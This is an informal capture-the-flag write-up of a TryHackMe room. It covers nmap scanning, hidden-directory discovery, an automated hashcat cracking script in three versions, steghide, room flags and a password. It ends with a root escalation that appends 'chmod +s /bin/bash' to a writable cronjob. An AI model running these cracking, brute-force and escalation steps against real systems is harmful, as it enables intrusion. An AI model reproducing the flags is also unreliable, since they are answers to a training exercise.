# Nmap 7.95 scan initiated Tue Jun 3 09:40:58 2025 as: /usr/lib/nmap/nmap -p- -sCV -T4 -oN Dscan.txt 10.10.49.244Warning: 10.10.49.244 giving up on port because retransmission cap hit (6).Nmap scan report for 10.10.49.244Host is up (0.18s latency).Not shown: 65532 closed tcp ports (reset)PORT STATE SERVICE VERSION80/tcp open http nginx 1.16.1|_http-server-header: nginx/1.16.1| http-robots.txt: 1 disallowed entry|_/|_http-title: Welcome to nginx!6498/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)| 256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)|_ 256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)65524/tcp open http Apache httpd 2.4.43 ((Ubuntu))|_http-title: Apache2 Debian Default Page: It works| http-robots.txt: 1 disallowed entry|_/|_http-server-header: Apache/2.4.43 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Jun 3 09:56:55 2025 -- 1 IP address (1 host up) scanned in 956.69 seconds
nmap -T4 -A -p- -oN Ascan.txt 10.10.49.244:
# Nmap 7.95 scan initiated Tue Jun 3 09:41:31 2025 as: /usr/lib/nmap/nmap -T4 -A -p- -oN Ascan.txt 10.10.49.244Warning: 10.10.49.244 giving up on port because retransmission cap hit (6).Nmap scan report for 10.10.49.244Host is up (0.17s latency).Not shown: 65532 closed tcp ports (reset)PORT STATE SERVICE VERSION80/tcp open http nginx 1.16.1|_http-server-header: nginx/1.16.1| http-robots.txt: 1 disallowed entry|_/|_http-title: Welcome to nginx!6498/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)| 256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)|_ 256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)65524/tcp open http Apache httpd 2.4.43 ((Ubuntu))|_http-server-header: Apache/2.4.43 (Ubuntu)| http-robots.txt: 1 disallowed entry|_/|_http-title: Apache2 Debian Default Page: It worksDevice type: general purposeRunning: Linux 4.XOS CPE: cpe:/o:linux:linux_kernel:4.15OS details: Linux 4.15Network Distance: 2 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 80/tcp)HOP RTT ADDRESS1 185.09 ms 10.21.0.12 185.20 ms 10.10.49.244OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Jun 3 09:58:08 2025 -- 1 IP address (1 host up) scanned in 997.43 seconds
answered all the nmap questions from these results
tryhackme gave a custom wordlist. lets do some http enumeration:
User-Agent:*Disallow:/Robots Not AllowedUser-Agent:a18672860d0510e5ab6699730763b250Allow:/This Flag Can Enter But Only This Flag No More Exceptions
the jumbled mess in the user agent is apparently an MD5 hash. lets try to crack it with hashcat and the given wordlist i suppose?
the given wordlist couldnt crack it. lets try rockyou
damn even rockyou couldnt crack it :0 lets check online databases
hashes.com immediately gave the answer :DD
lets try dirbusting now
common.txt gave me nothing new. gonna try with big.txt
nothing’s showing up. maybe i missed something? i didnt check the source for apache lets check that out
yup exactly what i missed. got this on the source:
<div class="page_header floating_element"> <img src="/icons/openlogo-75.png" alt="Debian Logo" class="floating_element"/> <span class="floating_element"> Apache 2 It Works For Me <p hidden>its encoded with ba....:ObsJmP173N2X6dOrAgEAL0Vu</p> </span> </div>
says its encoded but not with what. ba something, must be a base
ObsJmP173N2X6dOrAgEAL0Vu
well its not base64 thats clear. gonna mess around with other bases in cyberchef
its base62. gives us a directory seems like:
/n0th1ng3ls3m4tt3r
lets see whats in there. oh and the directory busting isnt gonna show anything seeems like. gonna stop that.
ooh very haxxor lmao xD
lets see the source. if that fails ill check the image for steganography
the image is from pixabay again. there is a hash in the source tho seems like. lets crack it
its apparently SHA-256. gonna try with hashcat and the given wordlist again
hashcat -m 1400 hash2 easypeasy_1596838725703.txt
failed again. even with rockyou. what even is the wordlist for then - __ -
huh good question. whats the wordlist for. are there any flags in it? lemme grepncheck real quick
yup theres a flag just sitting there lmao
flag{9fdafbd64c47471a8f54cd3fc64cd312}
yuup that was flag 3
moving on. asks for the hidden directory on tryhackme. i already found it. gonna submit the nothing else matter thingy (it should be matterS not matter. the missing S bothers me so much :“D)
huh theres duplicate lines. lemme cut that shit down real quick
saved the new unique one as ezpz.dic
sort -u easypeasy_1596838725703.txt > ezpz.dic
tryhackme says to crack it with the given wordlist. i already tried SHA-256. lets try the others like:
Haval-256
GOST R 34.11-94
Possible Hashs:
RipeMD-256
SNEFRU-256
SHA-256(HMAC)
Haval-256(HMAC)
RipeMD-256(HMAC)
SNEFRU-256(HMAC)
SHA-256(md5($pass))
SHA-256(sha1($pass))
damn seems like a pain. can i not automate this?
shitGPT gave me a script. lets run it:
#!/usr/bin/env python3import subprocessimport sysimport os# ------------- CONFIGURATION -------------# Double‐check these mode numbers on your local `hashcat --help`.MODES = { "Haval-256": "121", "GOST_R_34_11_94": "6100", "RIPEMD-256": "9100", "SNEFRU-256": "9000", "SHA256-HMAC": "1451", "HAVAL-256-HMAC": "125", "RIPEMD-256-HMAC": "9101", "SNEFRU-256-HMAC": "9001", "SHA256_md5": "1410", "SHA256_sha1": "1430",}# ------------- END CONFIGURATION -------------if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <hash_file> <wordlist>") sys.exit(1)hash_file = sys.argv[1]wordlist = sys.argv[2]# Validate the hash fileif not os.path.isfile(hash_file) or os.path.getsize(hash_file) == 0: print(f"Error: Hash file '{hash_file}' does not exist or is empty.") sys.exit(1)def try_crack(algo_name, mode, hash_file, wordlist): # Hashcat takes the hash file directly—no need to write temp. proc = subprocess.run( ["hashcat", "-m", mode, "-a", "0", "--quiet", hash_file, wordlist], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) if proc.returncode == 0: # Found a match, extract with --show show_proc = subprocess.run( ["hashcat", "-m", mode, "-a", "0", "--quiet", "--show", hash_file, wordlist], capture_output=True, text=True ) line = show_proc.stdout.strip().split(":") cleartext = line[1] if len(line) >= 2 else "(parse error)" print(f"[FOUND] {algo_name} → '{cleartext}'") else: print(f"[NOT FOUND] {algo_name}")print(f"Starting automated checks on hash file: {hash_file}")print(f"Wordlist: {wordlist}\n")for algo_name, mode in MODES.items(): print(f"→ Testing {algo_name:<20} (mode {mode})… ", end="", flush=True) try_crack(algo_name, mode, hash_file, wordlist)print("\nAll attempts finished.")
didnt give us anything. maybe we didnt use the right modes. lemme modify the script so it takes in actual possible hash modes after running hashcat --show hashfile and then does it with those. will make it a reusable script for me in the future as well
V2:
#!/usr/bin/env python3import subprocessimport sysimport osimport redef validate_args(): if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <hash_file> <wordlist>") sys.exit(1) hash_file = sys.argv[1] wordlist = sys.argv[2] if not os.path.isfile(hash_file) or os.path.getsize(hash_file) == 0: print(f"Error: Hash file '{hash_file}' does not exist or is empty.") sys.exit(1) if not os.path.isfile(wordlist) or os.path.getsize(wordlist) == 0: print(f"Error: Wordlist '{wordlist}' does not exist or is empty.") sys.exit(1) return hash_file, wordlistdef get_candidate_modes(hash_file): """ Runs: hashcat --show <hash_file> Parses its stdout to extract lines like: 1400 | SHA2-256 | Raw Hash 17400 | SHA3-256 | Raw Hash Returns a list of (mode_id, mode_name) tuples. """ proc = subprocess.run( ["hashcat", "--show", hash_file], capture_output=True, text=True ) output = proc.stdout.splitlines() candidate_modes = [] pattern = re.compile(r'^\s*(\d+)\s*\|\s*(.+?)\s*\|\s*(.+)$') for line in output: match = pattern.match(line) if match: mode_id = match.group(1).strip() mode_name = match.group(2).strip() candidate_modes.append((mode_id, mode_name)) return candidate_modesdef run_hashcat_crack(mode, hash_file, wordlist): """ Run: hashcat -m <mode> -a 0 --quiet <hash_file> <wordlist> Return True if exit_code == 0 (i.e., cracked at least one hash), else False. """ proc = subprocess.run( ["hashcat", "-m", mode, "-a", "0", "--quiet", hash_file, wordlist], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) return (proc.returncode == 0)def extract_cracked_pairs(mode, hash_file, wordlist): """ After a successful crack attempt, call: hashcat -m <mode> -a 0 --quiet --show <hash_file> <wordlist> Parse its stdout to return a list of (hash, cleartext) tuples. """ show_proc = subprocess.run( ["hashcat", "-m", mode, "-a", "0", "--quiet", "--show", hash_file, wordlist], capture_output=True, text=True ) lines = show_proc.stdout.strip().splitlines() results = [] for line in lines: if ":" in line: h, clear = line.split(":", 1) results.append((h, clear)) return resultsdef main(): hash_file, wordlist = validate_args() print(f"→ Enumerating possible modes with `hashcat --show {hash_file}` …") candidates = get_candidate_modes(hash_file) if not candidates: print("No candidate modes found. Either your hash_file is invalid or Hashcat's output format changed.") sys.exit(1) print(f"→ Found {len(candidates)} candidate mode(s):") for mode_id, mode_name in candidates: print(f" • {mode_id} ({mode_name})") cracked_summary = [] # list of (mode_id, mode_name, [(hash, clear), ...]) print("\n→ Starting crack attempts on each candidate mode …\n") for mode_id, mode_name in candidates: print(f"→ Trying mode {mode_id:<6} ({mode_name}) … ", end="", flush=True) did_crack = run_hashcat_crack(mode_id, hash_file, wordlist) if did_crack: # Immediately extract and print cracked pairs for this mode: pairs = extract_cracked_pairs(mode_id, hash_file, wordlist) print("[FOUND]") for h, clear in pairs: print(f" {h} → '{clear}'") # Add to the summary list and continue to next mode cracked_summary.append((mode_id, mode_name, pairs)) else: print("[NOT FOUND]") print("\n=== Summary of Successful Modes ===") if not cracked_summary: print("No modes cracked any hashes. Double-check your wordlist and/or hash format.") sys.exit(0) for mode_id, mode_name, pairs in cracked_summary: print(f"\n→ Mode {mode_id} ({mode_name}) cracked {len(pairs)} hash(es):") for h, clear in pairs: print(f" {h} → '{clear}'") print("\nAll done. :)") sys.exit(0)if __name__ == "__main__": main()
output after running python autoCrack.py hash2 ezpz.dic: (potfile carryover ruins it - _ -)
well its not the actual output but what i get after actually cracking it with a less feature rich version of the script so you get the idea
gonna modify the script so that it keeps track of what mode actually cracks it so it gives the correct information back and removes the potfile carryover. will probably add more features to this script as we go along
v3:
#!/usr/bin/env python3"""auto_crack_isolated.pyUsage: auto_crack_isolated.py <hash_file> <wordlist>What it does: • Maintains per-<hash,mode_id> tracking in crack_log.json to avoid redundant cracking. • Reads all valid hashes from <hash_file> (ignores empty lines and comments). • Uses `hashcat --show <hash_file>` to enumerate structurally compatible hash modes. • For each candidate mode: – Filters out hashes already attempted with this mode (via log). – Writes remaining hashes to a temporary subset file. – Creates a mode-specific temp potfile and runs Hashcat with: hashcat -m <mode> -a 0 --quiet --potfile-path <pot> <subset_file> <wordlist> – If exit code == 0, reruns Hashcat with `--show` to get cracked results. • Prints “[FOUND]” and the <hash> → '<clear>' for each. • Logs each cracked result with mode, cleartext, and UTC timestamp. – If nothing was cracked, prints “[NOT FOUND]”. – Cleans up temporary potfile and subset file after each mode. • At the end, prints a summary of all newly cracked hashes per mode.Example: ./auto_crack_isolated.py hashes.txt rockyou.txt"""import subprocessimport sysimport osimport reimport tempfileimport jsonfrom datetime import datetime, timezoneLOG_FILE = "crack_log.json"def validate_args(): if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <hash_file> <wordlist>") sys.exit(1) hash_file = sys.argv[1] wordlist = sys.argv[2] if not os.path.isfile(hash_file) or os.path.getsize(hash_file) == 0: print(f"Error: Hash file '{hash_file}' does not exist or is empty.") sys.exit(1) if not os.path.isfile(wordlist) or os.path.getsize(wordlist) == 0: print(f"Error: Wordlist '{wordlist}' does not exist or is empty.") sys.exit(1) return hash_file, wordlistdef load_log_entries(): """ Load existing log entries from crack_log.json, each entry is { "hash": ..., "mode_id": ..., "clear": ..., "timestamp": ... }. Returns a set of (hash, mode_id) tuples, and the full list for appending. """ if os.path.isfile(LOG_FILE): try: with open(LOG_FILE, "r") as f: data = json.load(f) seen = {(entry["hash"], entry["mode_id"]) for entry in data} return seen, data except Exception: pass return set(), []def append_log(entries_list, entry): """ Append a single entry dict to entries_list and write out to LOG_FILE. """ entries_list.append(entry) with open(LOG_FILE, "w") as f: json.dump(entries_list, f, indent=2)def get_all_hashes(hash_file): """ Read all non-empty, non-comment lines from hash_file. """ hashes = [] with open(hash_file, "r") as f: for line in f: h = line.strip() if h and not h.startswith("#"): hashes.append(h) return hashesdef get_candidate_modes(hash_file): """ Runs: hashcat --show <hash_file> Parses its stdout to extract lines like: 1400 | SHA2-256 | Raw Hash 17400 | SHA3-256 | Raw Hash … Returns a list of (mode_id, mode_name) tuples. """ try: proc = subprocess.run( ["hashcat", "--show", hash_file], capture_output=True, text=True ) except FileNotFoundError: print("Error: `hashcat` not found in PATH.") sys.exit(1) output = proc.stdout.splitlines() candidate_modes = [] pattern = re.compile(r'^\s*(\d+)\s*\|\s*(.+?)\s*\|\s*(.+)$') for line in output: match = pattern.match(line) if match: mode_id = match.group(1).strip() mode_name = match.group(2).strip() candidate_modes.append((mode_id, mode_name)) return candidate_modesdef run_hashcat_with_pot(mode, subset_file, wordlist, potpath): """ Runs: hashcat -m <mode> -a 0 --quiet --potfile-path <potpath> <subset_file> <wordlist> Returns True if exit-code == 0 (i.e. cracked ≥1 hash), else False. """ proc = subprocess.run( ["hashcat", "-m", mode, "-a", "0", "--quiet", "--potfile-path", potpath, subset_file, wordlist], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) return (proc.returncode == 0)def extract_cracked_from_pot(mode, subset_file, wordlist, potpath): """ After a successful run, call: hashcat -m <mode> -a 0 --quiet --potfile-path <potpath> --show <subset_file> <wordlist> Returns a list of (hash, cleartext) tuples that this mode cracked. """ show_proc = subprocess.run( ["hashcat", "-m", mode, "-a", "0", "--quiet", "--potfile-path", potpath, "--show", subset_file, wordlist], capture_output=True, text=True ) lines = show_proc.stdout.strip().splitlines() pairs = [] for line in lines: if ":" in line: h, clear = line.split(":", 1) pairs.append((h, clear)) return pairsdef main(): hash_file, wordlist = validate_args() # Load existing log already_cracked, log_entries = load_log_entries() print(f"→ Enumerating possible modes with `hashcat --show {hash_file}` …") candidates = get_candidate_modes(hash_file) if not candidates: print("No candidate modes found. Either your hash_file is invalid or Hashcat's output format changed.") sys.exit(1) # Read all hashes once all_hashes = get_all_hashes(hash_file) print(f"→ Found {len(candidates)} candidate mode(s):") for mode_id, mode_name in candidates: print(f" • {mode_id} ({mode_name})") cracked_summary = [] # list of (mode_id, mode_name, [(hash, clear), ...]) print("\n→ Starting isolated crack attempts, one subset per mode …\n") for mode_id, mode_name in candidates: # Build subset of pending hashes for this mode pending = [h for h in all_hashes if (h, mode_id) not in already_cracked] if not pending: print(f"→ Mode {mode_id:<6} ({mode_name}) … [SKIPPED] no new hashes for this mode. delete crack_log.json if you wish to still run this mode ig??") continue print(f"→ Mode {mode_id:<6} ({mode_name}) … ", end="", flush=True) # Write pending hashes to a temporary subset file tf = tempfile.NamedTemporaryFile(prefix="hc_subset_", delete=False, mode="w") for h in pending: tf.write(h + "\n") tf.flush() tf.close() subset_file = tf.name # 1) Create a unique temp potfile for this mode tmp_pot = tempfile.NamedTemporaryFile(prefix="hc_pot_", delete=False) tmp_pot_path = tmp_pot.name tmp_pot.close() # 2) Run hashcat on the subset cracked = run_hashcat_with_pot(mode_id, subset_file, wordlist, tmp_pot_path) if cracked: # 3) Extract exactly what this mode cracked pairs = extract_cracked_from_pot(mode_id, subset_file, wordlist, tmp_pot_path) print("[FOUND]") for h, clear in pairs: print(f" {h} → '{clear}'") # Log each newly cracked <hash, mode_id, clear, timestamp> entry = { "hash": h, "mode_id": mode_id, "clear": clear, "timestamp": datetime.now(timezone.utc).isoformat() } append_log(log_entries, entry) cracked_summary.append((mode_id, mode_name, pairs)) else: print("[NOT FOUND]") # 4) Cleanup try: os.remove(tmp_pot_path) except OSError: pass try: os.remove(subset_file) except OSError: pass # Final summary print("\n=== Summary of All Modes That Actually Cracked Something ===") if not cracked_summary: print("No modes cracked any new hashes. Check your wordlist and/or hash file.") sys.exit(0) for mode_id, mode_name, pairs in cracked_summary: # Note: pairs may repeat across modes, but we only log newly cracked ones above. print(f"\n→ Mode {mode_id} ({mode_name}) cracked {len(pairs)} hash(es):") for h, clear in pairs: print(f" {h} → '{clear}'") print("\nAll done :D") sys.exit(0)if __name__ == "__main__": main()
damn what a useful thing i got now xD gonna upload it to github later. oh right i was solving the room fuck. i totally forgot its 2 am now i wasted 2 hours on this :“D lets solve the room real quick shall we
password:
mypasswordforthatjob
yup tryhackme slurped that up. onto the next answer. asks for the ssh password. gonna keep hydra bruteforcing ssh with rockyou while i do further enumeration
what did i miss? the images. lets check em out
got 3 images:
lost-places-1928727_960_720.jpg
norway-772991_960_720.jpg and
matrix-3109795_960_720.jpg
ah im too tired to check all these manually against exiftool, binwalk, steghide and other stuff. gonna look for something that automates this
damn none of them showed anything wtf. did i miss anything?
oh bruh theres another local image - __ - lets wget that
nothing in the metadata or binwalk output. lets check steghide
steghide --info binarycodepixabay.jpg
output:
"binarycodepixabay.jpg": format: jpeg capacity: 4.6 KBTry to get information about embedded data ? (y/n) yEnter passphrase: embedded file "secrettext.txt": size: 278.0 Byte encrypted: no compressed: no
boring@kral4-PC:/tmp$ cat /var/www/.mysecretcronjob.sh#!/bin/bash# i will run as root
huh well thats ez root if we got edit perms. lets check perms
boring@kral4-PC:/tmp$ ls -la /var/www/.mysecretcronjob.sh-rwxr-xr-x 1 boring boring 33 Jun 14 2020 /var/www/.mysecretcronjob.sh
yuup lets get root then
added an SUID bit to /bin/bash:
boring@kral4-PC:/tmp$ cat /var/www/.mysecretcronjob.sh#!/bin/bash# i will run as rootchmod +s /bin/bashboring@kral4-PC:/tmp$ ls -la /bin/bash-rwsr-sr-x 1 root root 1113504 Jun 6 2019 /bin/bash